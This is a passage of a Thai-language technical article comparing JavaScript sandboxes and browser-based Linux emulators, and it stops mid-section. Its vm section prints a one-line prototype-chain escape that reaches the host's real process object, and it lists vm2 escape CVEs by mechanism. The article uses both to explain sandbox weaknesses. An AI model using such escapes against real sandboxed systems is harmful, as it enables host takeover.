ด้วยกรอบนี้ นี่คือตำแหน่งของแต่ละโปรเจกต์ในบทความนี้:

JS sandbox :       vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
เอมิวเลเตอร์ Linux :  v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
ซีมิวเลเตอร์ Linux : typescript-virtual-container (unique ในพื้นที่นี้)
Honeypot :         Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
Stack terminal :   xterm.js + node-pty (ไม่ใช่ isolator แต่เกี่ยวข้อง)

ส่วนที่ 1 -- JS sandbox

1.1 vm -- โมดูลเนทีฟของ Node.js (ไม่ใช่สิ่งที่คุณคิด)

คำตอบที่เก่าแก่ที่สุดสำหรับ "รัน JS ที่ไม่น่าเชื่อถือ" ใน Node คือโมดูลเนทีฟ vm มันมีมาตั้งแต่ v0.1 ดังนั้นคนจำนวนมากใช้มันเป็นอย่างแรก -- และโดนเผา

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

สิ่งที่ vm ทำจริงๆ: มันสร้าง context V8 ใหม่ (ชุด constructor เนทีฟใหม่ -- Object, Array, Function, ฯลฯ) และรันโค้ดในนั้น โดยมีการอ้างอิงร่วมกันกับสิ่งที่คุณใส่ใน sandbox เอ็นจิน V8 ของคุณไม่เปลี่ยน โพรเซสของคุณไม่เปลี่ยน หน่วยความจำถูกแชร์

เหตุผลที่ vm ไม่มีความปลอดภัย: prototype chain ของ JavaScript คือ DAG ที่เชื่อมต่อทุกอย่างกับ Object.prototype ถ้าคุณใส่ออบเจกต์จากโลกโฮสต์ลงใน sandbox ผู้มาเยือนสามารถไต่ขึ้น prototype chain และเข้าถึง constructor ของโฮสต์ จาก Function คุณสามารถเรียก Function("return process")() และได้ process จริงคืนมา เกมจบ แบบทันที

// ทำงานได้อย่างสมบูรณ์ใน vm -- คุณได้ process จริงคืนมา
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

คือ เอกสารของ Node.js เองบอกว่า: "โมดูล vm ไม่ใช่กลไกความปลอดภัย อย่าใช้มันเพื่อรันโค้ดที่ไม่น่าเชื่อถือ" คำเตือนนี้มีมาตลอด คนมักจะไม่สนใจมัน ผมเห็นแอปพลิเคชันในโปรดักชันใช้ vm เป็น sandbox ได้โปรด อย่าทำแบบนั้น xD

คำตัดสิน: กลไกการกำหนดขอบเขต ไม่ใช่ sandbox ใช้เมื่อคุณต้องแยกตัวแปร (เอ็นจินเทมเพลต, ฟังก์ชันแบบ eval ที่คุณควบคุมโค้ด) ไม่มีทางสำหรับอินพุตที่ไม่น่าเชื่อถือ

หน่วยความจำ: overhead เล็กน้อย -- ฮีป V8 เดียวกับโพรเซสโฮสต์ ความปลอดภัย: ไม่มีเลยกับผู้โจมตีที่มุ่งมั่น


1.2 vm2 -- ความพยายามของชุมชน และการตายอันยาวนาน

vm2 คือคำตอบของชุมชนต่อปัญหา escape ของ vm แนวคิดหลัก: ห่อทุกออบเจกต์ที่ข้ามขอบเขต sandbox ด้วย Proxy ที่ดักการเข้าถึงคุณสมบัติ, ป้องกันการไต่ prototype, และกรองการอ้างอิงอันตราย แนวคิดที่ชาญฉลาดในทางทฤษฎี! แต่ไม่เท่าไหร่ในทางปฏิบัติ อย่างที่เราจะได้เห็น

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // โยน VMError, process ไม่สามารถเข้าถึงได้

หลายปีมันทำงานได้ค่อนข้างดี แต่พื้นที่โจมตีของ Proxy ใน JavaScript นั้นใหญ่มาก ทุกฟีเจอร์ภาษา JS ใหม่ -- generators, async iterators, Symbol.toPrimitive, Error.prepareStackTrace, ตำแหน่งภายในของ Promise -- ล้วนเป็นเวกเตอร์หลบเลี่ยงที่อาจเกิดขึ้น

ลำดับเวลาของ CVE ก็... น่าทึ่ง แบบ ดูนี่สิ:

Date CVE กลไก
ต.ค. 2022 CVE-2022-36067 หลบเลี่ยง context โฮสต์ผ่าน Error.prepareStackTrace
เม.ย. 2023 CVE-2023-29017 รั่วไหลออบเจกต์โฮสต์ผ่าน async error ที่ไม่ถูกจัดการ
เม.ย. 2023 CVE-2023-29199 หลบเลี่ยงการล้างข้อมูล exception ผ่าน handleException()
เม.ย. 2023 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
พ.ค. 2023 CVE-2023-32314 Proxy บน Error.name → Function → RCE
มิ.ย. 2023 CVE-2023-37466 ฟังก์ชัน async + stack overflow + Proxy.getPrototypeOf
มิ.ย. 2023 CVE-2023-37903 Worker thread + หลบเลี่ยงผ่าน eval

สาม CVE วิกฤตภายในเดือนเดียวกัน (เมษายน 2023) สามตัว ภายในหนึ่งเดือน หลังจาก CVE-2023-37903 ผู้ดูแลได้ประกาศเลิกใช้ไลบรารีอย่างเป็นทางการพร้อมข้อความ: "ไลบรารีมีปัญหาด้านความปลอดภัยที่ร้ายแรงและไม่ควรใช้ในโปรดักชัน"

ผู้ดูแลได้ฟื้นคืนชีพในตุลาคม 2025 ด้วยเวอร์ชัน 3.10.0 โดยอ้างว่าแก้ไขทุกอย่างที่รู้จักในตอนนั้น การหลบเลี่ยงวิกฤตครั้งใหม่ (CVE-2026-22709, CVSS 9.8) ถูกเปิดเผยในมกราคม 2026 ตามด้วยอีกสิบเอ็ดตัวในพฤษภาคม 2026 สิบเอ็ด รูปแบบไม่เปลี่ยนแปลง และพูดตามตรงผมไม่คิดว่ามันจะเปลี่ยน

ปัญหาพื้นฐานคือเชิงสถาปัตยกรรม -- และนี่คือบทเรียนที่ทั้งระบบนิเวศใช้เวลานานในการเรียนรู้ คุณไม่สามารถสร้าง sandbox ที่ปลอดภัยโดยใช้ภาษาเดียวกับที่คุณกำลังแยก บนเอ็นจินเดียวกัน ในโพรเซสเดียวกัน พื้นผิวการหลบเลี่ยงคือการทำงานทั้งหมดของ V8 -- และ V8 มีหลายล้านบรรทัดของ C++ ที่เปลี่ยนแปลงตลอดเวลา ทุกฟีเจอร์ JS ใหม่อาจเปิดเส้นทางโจมตีใหม่

คำตัดสิน: ไม่ควรใช้สำหรับแอปพลิเคชันที่คำนึงถึงความปลอดภัย แม้ในเวอร์ชันล่าสุด ก็มีการค้นพบการหลบเลี่ยงใหม่ทุกๆ สองสามเดือน ผู้ดูแลเองก็ยอมรับอย่างเปิดเผย


1.3 isolated-vm -- อันที่ใช้ได้จริง

isolated-vm ใช้แนวทางที่ถูกต้อง: ใช้ primitive การแยกแบบเนทีฟของ V8, Isolate แต่ละ Isolate V8 มีฮีปของตัวเอง, garbage collector ของตัวเอง, ชุดเนทีฟของตัวเอง, และไม่มีการอ้างอิงร่วมกับ Isolate อื่น

นี่คือขอบเขตเดียวกับที่ Chrome ใช้ระหว่างแท็บ มันคือกำแพงความปลอดภัยที่แท้จริง ไม่ใช่เคล็ดลับภาษาที่สร้างบน Proxy

import ivm from "isolated-vm";

// แต่ละ isolate คือฮีป V8 ของตัวเอง
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // จำกัดเป็น MB
const context = await isolate.createContext();
const jail = context.global;

// การส่งข้อมูลข้ามขอบเขตต้องทำ serialization อย่างชัดแจ้ง
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // ไม่สามารถเข้าถึงโพรเซสโฮสต์, ฮีปโฮสต์, หรือโมดูลโฮสต์
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// คุณสามารถจบอย่างรุนแรงเมื่อหมดเวลาหรือถึงขีดจำกัดหน่วยความจำ
isolate.dispose(); // ปล่อยฮีปทั้งหมด

ประเภท Reference และ ExternalCopy คือสะพานสื่อสารที่ชัดแจ้ง Reference ให้ handle ที่เรียกได้ไปยังฟังก์ชันโฮสต์แก่ isolate -- isolate สามารถเรียกมันได้แต่ไม่สามารถตรวจสอบ closure หรือ prototype ของมัน ExternalCopy serializes ค่า (structured clone) ข้ามขอบเขตฮีป โมเดลสะพานที่ชัดแจ้งนี้ไม่สะดวก แต่มันคือสิ่งที่ทำให้การแยกเป็นจริง

คุณสามารถตั้งค่าขีดจำกัดทรัพยากรที่เข้มงวด: หน่วยความจำ (isolate จะถูกจบถ้าเกินขีดจำกัด), timeout แบบ wall-clock, และ timeout CPU การจบคือของจริง -- มันฆ่า Isolate V8 ทั้งหมด ไม่ใช่แค่ JS timeout ที่อาจถูกหลบเลี่ยงด้วย while(true)

ข้อจำกัด: มันเป็น JS เท่านั้น คุณไม่สามารถรัน bash ในนั้น ไม่มีแนวคิดเรื่องไฟล์, สิทธิ์, เครือข่าย, หรือโพรเซส มันเป็นเครื่องมือที่เหมาะสมสำหรับ JS ที่ผู้ใช้ส่งมา (ปลั๊กอิน, สูตร, hooks ของสคริปต์) และเป็นเครื่องมือที่ไม่เหมาะสมสำหรับทุกอย่างอื่น ผู้เขียน typescript-virtual-container กล่าวว่าเธอเคยพิจารณามันตอนแรกก่อนที่จะรู้ว่า "การรันคำสั่ง shell" และ "การแยก JavaScript" เป็นปัญหาที่แตกต่างกันโดยพื้นฐาน

หน่วยความจำ: ~3-10 MB ต่อ isolate เปล่า เพิ่มขึ้นตามการใช้งานฮีป ความปลอดภัย: แข็งแกร่ง ขอบเขต V8 Isolate คือ primitive การแยกที่แท้จริง npm: isolated-vm GitHub: laverdet/isolated-vm


1.4 quickjs-emscripten -- เอ็นจิน JS ที่แยกต่างหาก คอมไพล์เป็น Wasm

แนวทางที่แตกต่าง: แทนที่จะแยกใน V8, รันเอ็นจิน JavaScript ที่แยกต่างหากโดยสิ้นเชิงซึ่งคอมไพล์เป็น WebAssembly โฮสต์รันใน V8/Node ผู้มาเยือนรันใน QuickJS-ใน-Wasm sandbox Wasm เป็นผู้ให้ขอบเขตการแยก

QuickJS เป็นอีกผลงานของ Fabrice Bellard (คนเดียวกับที่อยู่เบื้องหลัง QEMU, FFmpeg, JSLinux, TinyEMU -- คนคนนี้ไม่ใช่คนจริงๆ จริงๆ นะ คนคนเดียวทำทั้งหมดนี้ได้ยังไง?) มันคือเอ็นจิน JS ขนาดเล็กที่รองรับ ES2023 เขียนด้วย C และเมื่อคอมไพล์เป็น Wasm มีขนาดประมาณ 500 KB

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // รันใน QuickJS, แยกจาก V8 โดยสิ้นเชิง
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS เป็นเอ็นจิน JavaScript ขนาดเล็กที่รองรับ ES2023 เขียนด้วย C คอมไพล์เป็น Wasm มีขนาดประมาณ 500 KB สำหรับ synchronous variant, ~1 MB สำหรับ asynchronous variant (Asyncify) การจัดการหน่วยความจำเป็นแบบ manual -- ทุกค่าที่คุณนำออกจาก VM ต้องถูกปล่อยอย่างชัดแจ้ง ซึ่งค่อนข้างน่ารำคาญแต่ป้องกันความประหลาดใจของ GC ข้ามขอบเขต เป็นการแลกเปลี่ยนที่สนุก!

wrapper @sebastianwessel/quickjs เพิ่ม API ที่สะดวกกว่า โดยมีระบบไฟล์เสมือนให้เลือก, รองรับ fetch, และ stubs ของโมดูล Node.js:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

โมเดลความปลอดภัยแตกต่างจาก isolated-vm: โมเดลหน่วยความจำเชิงเส้นของ Wasm ทำให้ผู้มาเยือนไม่สามารถเข้าถึงออบเจกต์บนฮีป V8 โดยตรง พื้นผิวการโจมตีคืออินเทอร์เฟซโฮสต์↔Wasm (imports/exports) ไม่ใช่ภาษาทั้งหมด JS โดยทั่วไปถือว่าแข็งแกร่งกว่า sandbox ที่ใช้ Proxy

ข้อเสีย: QuickJS ไม่มีการเพิ่มประสิทธิภาพในระดับเดียวกับ V8 สำหรับงานที่ใช้ CPU-heavy ใน JS มันช้ากว่า V8 ถึง 5-20 เท่า สำหรับโค้ดสั้นๆ และการประเมินค่าที่ไม่น่าเชื่อถือ โดยทั่วไปแล้วไม่สำคัญ

หน่วยความจำ: ~500 KB โมดูล Wasm + ฮีปต่อ instance ความปลอดภัย: ขอบเขต Wasm, ถือว่าแข็งแกร่งกว่าแนวทางที่ใช้ Proxy npm: quickjs-emscripten, @sebastianwessel/quickjs GitHub: justjake/quickjs-emscripten


1.5 Deno -- runtime ที่ให้ความสำคัญกับสิทธิ์เป็นอันดับแรก

Deno ใช้ปรัชญาที่แตกต่างโดยสิ้นเชิง: แทนที่จะทำ sandbox ใน Node, สร้าง runtime ใหม่ที่ปลอดภัยโดยค่าเริ่มต้น ผมชอบแนวทางนี้มาก -- มันคือสิ่งที่ Node.js ควรจะเป็นตั้งแต่แรก จริงๆ นะ Ryan Dahl (ผู้สร้าง Node.js ดั้งเดิม) สร้าง Deno เพราะเขาเสียใจกับการตัดสินใจออกแบบบางอย่างของ Node.js ซึ่งบ้ามากเมื่อคิดดู

ทุกความสามารถที่อ่อนไหว (อ่านไฟล์, เขียนไฟล์, เครือข่าย, สภาพแวดล้อม, โพรเซสลูก) ต้องใช้ flag --allow-* ที่ชัดแจ้ง:

# อันนี้อ่านได้เฉพาะใน /data เท่านั้น
deno run --allow-read=/data script.ts

# อันนี้เข้าถึงได้เฉพาะโดเมนเดียว
deno run --allow-net=api.example.com script.ts

# ไม่มี flags = ไม่มีสิทธิ์
deno run untrusted.ts # อ่านไม่ได้, เขียนไม่ได้, เครือข่ายไม่ได้, รันไม่ได้

โมเดลสิทธิ์ถูกนำไปใช้ที่ระดับ Rust/OS -- มันไม่ใช่เคล็ดลับ JS เมื่อโค้ด Deno เรียก Deno.readFile(), มันผ่านการดำเนินการ Rust ที่ตรวจสอบตารางสิทธิ์ก่อนที่จะแตะระบบไฟล์ คุณไม่สามารถหลบเลี่ยงมันจาก JS เพราะ system call จะไม่เกิดขึ้นถ้าไม่ได้รับอนุญาต

สำหรับการรันโค้ดที่ไม่น่าเชื่อถือจริงๆ Deno Workers (Web Workers) มี isolate ที่สองในโพรเซสเดียวกัน แต่ละตัวมีชุดสิทธิ์ของตัวเอง คุณสามารถเริ่ม worker โดยไม่มีสิทธิ์ใดๆ และสื่อสารกับมันผ่าน postMessage

Deno 2 (ออกในตุลาคม 2024) เพิ่มความเข้ากันได้กับ npm อย่างสมบูรณ์และ shims ความเข้ากันได้ Node.js ซึ่งช่วยเพิ่มการนำไปใช้สำหรับกรณีการใช้งานฝั่งเซิร์ฟเวอร์อย่างมาก

การแลกเปลี่ยน: โมเดลความปลอดภัยของ Deno ยอดเยี่ยมสำหรับโค้ดที่คุณอาจเชื่อถือได้บางส่วน สำหรับโค้ดที่ไม่น่าเชื่อถือโดยสิ้นเชิงที่อาจเป็นอันตราย โมเดลสิทธิ์ไม่ได้ช่วย -- คุณต้องมีขอบเขต Isolate (isolated-vm) หรือเอ็นจินที่แตกต่าง (quickjs-emscripten) เพราะ Deno ยังใช้ V8 และผู้โจมตีที่ซับซ้อนสามารถหาบั๊กระดับ V8 ได้


1.6 TC39 ShadowRealm -- คำตอบที่ได้มาตรฐาน (สักวัน)

องค์กรมาตรฐาน JavaScript (TC39) มีข้อเสนอที่ชื่อว่า ShadowRealm ซึ่งพยายามทำให้สิ่งที่ vm และ vm2 พยายามทำเป็นมาตรฐาน แต่มีโมเดลความปลอดภัยที่ถูกต้อง ShadowRealm สร้าง context การทำงาน JS ที่แยกออกมาโดยมี intrinsic ของตัวเอง, ไม่มีการเข้าถึง realm ภายนอก, และอินเทอร์เฟซ import/export ที่ควบคุมอย่างระมัดระวัง

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // intrinsics แยกต่างหาก, ไม่สามารถเข้าถึง realm ภายนอก
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealm พร้อมใช้งานในเบราว์เซอร์ (Chrome 90+, Firefox 105+) แต่ยังไม่มาใน Node.js เสถียรในปี 2026 ข้อเสนอ TC39 Compartments จะต่อยอดจากนี้สำหรับการแยกระดับโมดูล นี่คือคำตอบมาตรฐานระยะยาว แต่ยังไม่พร้อมสำหรับโปรดักชันฝั่งเซิร์ฟเวอร์ Node มันเป็นหนึ่งในเรื่องที่คุณเห็นมาแต่ไกลแต่... มันก็ยังมาไม่ถึง นั่นแหละ TC39 xD


สรุปตระกูล sandbox

| | vm | vm2 | isolated-vm | quickjs-emscripten | Deno Workers | |---|---|---|---|---|---|---| | ขอบเขตการแยก | ไม่มี (scope) | Proxy (พัง) | V8 Isolate | Wasm | V8 Isolate + perms Rust | | จำกัดหน่วยความจำ | ❌ | ❌ | ✅ จำกัดเข้มงวด | ✅ ฮีป Wasm | บางส่วน | | Timeout CPU | ❌ | ✅ (หลบเลี่ยงได้) | ✅ เข้มงวด | ✅ | ✅ | | ความปลอดภัย | ไม่มี | พัง | แข็งแกร่ง | แข็งแกร่ง | แข็งแกร่ง | | ความเร็ว JS | V8 เนทีฟ | V8 เนทีฟ | V8 เนทีฟ | ~10x ช้ากว่า | V8 เนทีฟ | | เบราว์เซอร์ | ❌ | ❌ | ❌ | ✅ | ❌ | | ความเข้ากันได้ Node | เนทีฟ | ✅ | ✅ | shims บางส่วน | บางส่วน | | สถานะ | เสถียร | เสี่ยง (CVE ใหม่) | ✅ ใช้งานอยู่ | ✅ ใช้งานอยู่ | ✅ ใช้งานอยู่ | | overhead RAM | ~1 MB | ~5-20 MB | ~3-10 MB | ~5-15 MB | ~10-30 MB |

คำตัดสิน: ถ้าความปลอดภัยสำคัญสำหรับคุณ มีตัวเลือกจริงๆ สองตัว -- isolated-vm (extension เนทีฟ, V8 Isolate, ความเร็ว JS เต็ม) และ quickjs-emscripten (Wasm, ใช้ในเบราว์เซอร์ได้, ~10x ช้ากว่าสำหรับการคำนวณหนัก) ที่เหลือทั้งหมดคือ "ได้โปรดอย่าทำ" (vm, vm2) หรือ runtime ที่แก้ปัญหาคนละอย่าง (Deno) ShadowRealm อาจเปลี่ยนเกมได้สักวัน แต่ยังไม่ใช่ตอนนี้


ส่วนที่ 2 -- เอมิวเลเตอร์ Linux ใน JavaScript

นี่คือจุดที่เริ่มน่าสนใจจริงๆ สำหรับผม สิ่งเหล่านี้คือเอมิวเลเตอร์จริง -- พวกมัน implement ชุดคำสั่ง CPU ใน JavaScript หรือ WebAssembly, บูตอิมเมจเคอร์เนล Linux จริง, และรันไบนารีผู้ใช้จริง การแยกเกิดขึ้นเพราะผู้มาเยือนและโฮสต์ไม่ได้แชร์อะไรเลย: พื้นที่หน่วยความจำคนละที่, กระแสคำสั่งคนละที่

ราคาที่ต้องจ่ายมหาศาล แต่สิ่งที่คุณได้นั้นน่าทึ่งจริงๆ: Linux จริงที่ทำงานจริง ในเบราว์เซอร์หรือโพรเซส Node ของคุณ คือ มันบ้ามากเมื่อคิดถึงนะ ใช่ไหม?

2.1 v86 -- เอมิวเลเตอร์ PC x86 ใน JS + JIT Wasm

v86 โดย Fabrice (copy บน GitHub) คือเอมิวเลเตอร์ x86 โอเพนซอร์สที่มีความสามารถมากที่สุดใน JavaScript มันเริ่มเป็น interpreter JS ล้วนๆ ประมาณปี 2013 และพัฒนาเป็นระบบ JIT ที่ basic block x86 ถูกแปลเป็น WebAssembly ทันที ช่วยเพิ่มประสิทธิภาพอย่างมาก

สิ่งที่มันจำลอง:

  • CPU: x86-32 (IA-32), ชุดคำสั่งประมาณระดับ Pentium 1 ไม่มี 64-bit (x86-64) -- นี่คือข้อจำกัดทางสถาปัตยกรรมฮาร์ดแวร์ ไม่ใช่ฟีเจอร์ที่ขาดหาย
  • FPU: ผ่าน Float64Array ของ JavaScript x87 มีความแม่นยำขยาย 80-bit; double ของ JS เป็น 64-bit ซึ่งหมายความว่าผลลัพธ์ทศนิยมอาจแตกต่างเล็กน้อยจาก CPU จริง
  • หน่วยความจำ: กำหนดค่าได้, แมปไปยัง SharedArrayBuffer หรือ ArrayBuffer ในฮีป JS
  • ฮาร์ดแวร์: 8254 PIT (timer), 8259 PIC (ตัวควบคุมการขัดจังหวะ), 8042 คอนโทรลเลอร์คีย์บอร์ด (PS/2), CMOS RTC, VGA พร้อมส่วนขยาย SVGA และ Bochs VBE, คอนโทรลเลอร์ IDE, คอนโทรลเลอร์ฟลอปปี้ (8272A), การ์ดเครือข่าย NE2000
  • BIOS: ใช้ SeaBIOS (BIOS x86 โอเพนซอร์ส)

JIT ทำงานโดยการระบุ basic block (ลำดับคำสั่ง x86 ที่ไม่มีการกระโดด), แปลพวกมันเป็นฟังก์ชัน WebAssembly, แคชฟังก์ชันนั้น, และเรียกมันในการทำงานครั้งต่อไปของบล็อกเดียวกัน เส้นทางโค้ดที่ร้อนแรงจะได้ประสิทธิภาพ Wasm เนทีฟ เส้นทางเย็นจะตกไปที่ interpreter JS

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 MB
  autostart: true,
});

// จับเอาต์พุตอนุกรม (console เคอร์เนล Linux)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// ส่งอินพุตไปยังผู้มาเยือน (พิมพ์ใน shell)
emulator.serial0_send("ls /\n");

OS ที่รองรับ: Alpine Linux (ยอดเยี่ยม), Ubuntu 16.04/18.04 (i386 เท่านั้น), Arch Linux 32, ReactOS, FreeDOS, Windows 9x/2000 (มีข้อจำกัด), MS-DOS

เวลาเริ่มต้น: 15-40 วินาทีสำหรับ Alpine Linux จากอิมเมจที่สะอาด นี่เป็นธรรมชาติของการเริ่มต้นเคอร์เนลจริง -- คุณไม่สามารถข้ามมันได้ ใช่ ผู้ใช้ของคุณจะดูเคอร์เนล Linux บูตในเบราว์เซอร์ นั่นคือดีล xD

หน่วยความจำขั้นต่ำ: 100-256 MB ต่อ instance แคชโค้ด Wasm JIT เพียงอย่างเดียวอาจถึงหลายสิบ MB สำหรับ instance Linux ที่ไม่ว่าง

การใช้งานใน Node.js: รองรับอย่างสมบูรณ์ ไม่ต้องใช้ DOM -- เอาต์พุต VGA สามารถละเว้นได้ถ้าคุณสนใจแค่เอาต์พุตอนุกรม

สิ่งที่คุณทำไม่ได้: รันไบนารี 64-bit, ใช้ฟีเจอร์เคอร์เนลสมัยใหม่ (eBPF, io_uring, ฯลฯ), หรือรันมากกว่าสองสามอินสแตนซ์พร้อมกันโดยไม่ถึงขีดจำกัดหน่วยความจำ

npm: v86 -- อัปเดตอย่างต่อเนื่อง, เผยแพร่ล่าสุดในวันที่เขียนนี้ GitHub: copy/v86 เดโม่: copy.sh/v86


2.2 JSLinux และ TinyEMU -- ผลงานของ Bellard สองครั้ง

JSLinux คือเอมิวเลเตอร์ Linux ใน JavaScript ของ Fabrice Bellard -- ตัวแรกที่เคยมี ตีพิมพ์ในปี 2011 ผมยังคงพูดถึง Bellard ในบทความนี้เพราะเขาโผล่มาเรื่อยๆ: QuickJS, TinyEMU, JSLinux, QEMU, FFmpeg ผู้ชายคนนี้ช่างเหลือเชื่อจริงๆ หนึ่งในผลงานทางเทคนิคส่วนบุคคลที่น่าประทับใจที่สุดในประวัติศาสตร์ซอฟต์แวร์ พูดโดยไม่เกินจริง

JSLinux ดั้งเดิมเป็น x86 interpreter JS ล้วนๆ ปี 2016 Bellard เขียน TinyEMU (เอมิวเลเตอร์ RISC-V ใน C), คอมไพล์เป็น JavaScript ผ่าน Emscripten, และนั่นกลายเป็นพื้นฐานของ JSLinux ปัจจุบัน ดังนั้น JSLinux ปัจจุบันคือโค้ด C ที่สร้าง JavaScript -- ไม่ใช่ JS ที่เขียนด้วยมือเลย

บันทึกทางเทคนิคบนเว็บไซต์ของ Bellard คุ้มค่าที่จะอ่าน: JSLinux ปัจจุบันรัน CPU RISC-V 32 หรือ 64-bit (ไม่ใช่ x86), จำลอง VirtIO console, VirtIO network, VirtIO block device, และระบบไฟล์ 9P สำหรับการแชร์ไฟล์กับโฮสต์ เดโม่ JS ถูกคอมไพล์จาก C โดยใช้ Emscripten -- ไม่ใช่ JS ที่เขียนด้วยมือ

TinyEMU เองรองรับ:

  • RISC-V RV32IMAFDQC และ RV64IMAFDQC (32 และ 64-bit, พร้อม floating-point, multiplication, compressed instructions)
  • x86 ผ่าน KVM (เนทีฟเท่านั้น, ไม่ใช่การจำลอง -- ดังนั้นเวอร์ชัน JS เป็น RISC-V เท่านั้น)
  • VirtIO console, network, block, input, ระบบไฟล์ 9P

TinyEMU มีเดโม่ JavaScript ที่ให้ผ่าน Emscripten มันเป็นพื้นฐานของ JSLinux และยังใช้โดย container2wasm (ดูส่วน 2.5)

สถานะ JSLinux: ไม่มี package npm, ไม่มี API ที่ตั้งโปรแกรมได้ มันคือเดโม่ที่คุณเปิดในเบราว์เซอร์ ความสำคัญทางประวัติศาสตร์สูง -- มันพิสูจน์แนวคิด ประโยชน์ในทางปฏิบัติในฐานะไลบรารี: ไม่มี

TinyEMU: ไม่มีบน npm, source C ที่ bellard.org/tinyemu


2.3 jor1k -- เอมิวเลเตอร์ OR1K

jor1k คือเอมิวเลเตอร์ OpenRISC 1000 (OR1K) เขียนใน JavaScript โดย Sebastian Macke มันน่าสนใจในเชิงประวัติศาสตร์เพราะ jor1k นำเสนอการรองรับระบบไฟล์ VirtIO 9P ซึ่ง Bellard นำไปใช้ใน TinyEMU และ JSLinux ในภายหลัง การผสมเกสรข้ามระหว่างโครงการเหล่านี้แน่น--พวกเขายืมของจากกันและกัน ซึ่งพูดตามตรงเป็นหนึ่งในสิ่งที่เจ๋งที่สุดของงานเอมิวเลชันโอเพนซอร์ส

สถานะ: ไม่ได้รับการดูแลอย่างแข็งขันอีกต่อไป, ไม่มี package npm ถูกเก็บถาวรแล้ว มีประโยชน์ที่จะรู้เพื่อบริบททางประวัติศาสตร์ -- แบบ ถ้ามีคนพูดถึง jor1k ในการสนทนา ตอนนี้คุณรู้แล้วว่ามันคืออะไร :)


2.4 CheerpX -- เอมิวเลเตอร์ x86 เชิงพาณิชย์สำหรับเบราว์เซอร์

CheerpX โดย Leaning Technologies คือเอมิวเลเตอร์ Linux x86 เชิงพาณิชย์ระดับโปรดักชัน มันไม่ใช่โอเพนซอร์ส แต่มันมีความสามารถมากกว่า v86 อย่างเห็นได้ชัดในการรัน userspace Debian/Ubuntu จริง ถ้าคุณต้องการ VSCode จริงในเบราว์เซอร์ นี่คือสิ่งที่คุณต้องการ

ความแตกต่างหลักจาก v86:

  • รองรับ ISA ที่กว้างกว่า (ส่วนขยาย x86 มากกว่า, ความเข้ากันได้ glibc ดีกว่า)
  • ระบบไฟล์ที่ใช้ IndexedDB ในเบราว์เซอร์ (คงอยู่ระหว่างการโหลดหน้าเว็บ)
  • รองรับ pthread ผ่าน SharedArrayBuffer (ซึ่งต้องใช้ส่วนหัว COOP/COEP -- ใช่ ส่วนหัวความปลอดภัยที่น่ารำคาญเหล่านั้น)
  • ออกแบบมาเพื่อรัน VSCode, Python, Node.js, และแอปพลิเคชันจริงอื่นๆ -- ไม่ใช่แค่อิมเมจ OS ขนาดเล็ก
  • การสนับสนุนมืออาชีพและ SLA มีให้ (คือคุณสามารถด่าใครสักคนได้ถ้ามันพัง)

กรณีการใช้งานทั่วไปคือ "รันแอปพลิเคชัน Linux จริงในเบราว์เซอร์โดยไม่มีเซิร์ฟเวอร์" บริษัทต่างๆ ใช้มันสำหรับ IDE ที่ใช้เบราว์เซอร์, บทช่วยสอนการเขียนโค้ด, และเอกสารประกอบเชิงโต้ตอบ

// API CheerpX (แบบย่อ)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

เรื่อง Node.js: CheerpX ออกแบบมาสำหรับเบราว์เซอร์เป็นหลัก เอมิวเลเตอร์พื้นฐานอาจทำงานใน Node (มันคือ Wasm) แต่ API และเอกสารทั้งหมดมุ่งเน้นไปที่การใช้งานในเบราว์เซอร์ การใช้งานฝั่งเซิร์ฟเวอร์ไม่ได้รับการสนับสนุน

หน่วยความจำ: คล้ายกับ v86 -- 200+ MB สำหรับ instance Debian จริง ราคา: ฟรีสำหรับโครงการโอเพนซอร์ส, ใบอนุญาตเชิงพาณิชย์สำหรับ SaaS ในโปรดักชัน Docs: cheerpx.io/docs/overview


2.5 WebContainers (StackBlitz) -- Node.js ใน Wasm, ไม่ใช่การจำลอง Linux

WebContainers มักถูกจัดอยู่ในกลุ่มเดียวกับเอมิวเลเตอร์ Linux แต่มีความแตกต่างทางสถาปัตยกรรม พวกมันไม่จำลอง x86 พวกมันไม่บูต Linux พวกมันรัน Node.js ที่คอมไพล์เป็น WebAssembly โดยใช้ WASI ความแตกต่างนี้สำคัญมาก และผมใช้เวลานานเกินไปในการสับสนกับเรื่องนี้ lol

ผมคิดว่าความสับสนมาจากการตลาด -- "รัน Node.js ในเบราว์เซอร์ของคุณ" ฟังดูเหมือนการจำลอง แต่จริงๆ แล้วมันคือ Node.js เองที่คอมไพล์เป็น Wasm ไม่ใช่การจำลอง Linux ที่รัน Node.js ใน VM คนละเรื่องกันเลย

สถาปัตยกรรม:

